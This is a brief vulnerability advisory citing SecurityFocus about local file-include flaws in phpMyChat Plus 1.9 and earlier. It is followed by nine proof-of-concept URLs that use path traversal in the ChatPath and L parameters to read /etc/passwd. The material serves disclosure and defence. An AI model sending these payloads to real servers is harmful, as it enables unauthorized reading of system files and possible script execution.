source: https://www.securityfocus.com/bid/20972/info phpMyChat is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input. Exploiting these issues may allow an unauthorized user to view files and execute local scripts. phpMyChat Plus 1.9 and prior versions are vulnerable to these issues; other versions may also be affected. http://www.example.com/path/avatar.php?ChatPath=../../etc/passwd http://www.example.com/path/colorhelp_popup.php?ChatPath=../../etc/passwd http://www.example.com/path/color_popup.php?ChatPath=../../etc/passwd http://www.example.com/index.php?ChatPath=../../etc/passwd http://www.example.com/path/lib/connected_users.lib.php?ChatPath=../../etc/passwd http://www.example.com/path/avatar.php?ChatPath=../../etc/passwd http://www.example.com/path/lib/index.lib.php?ChatPath=../../etc/passwd http://www.example.com/path/logs.php?L=../../etc/passwd http://www.example.com/path/phpMyChat.php3?ChatPath=../../etc/passwd
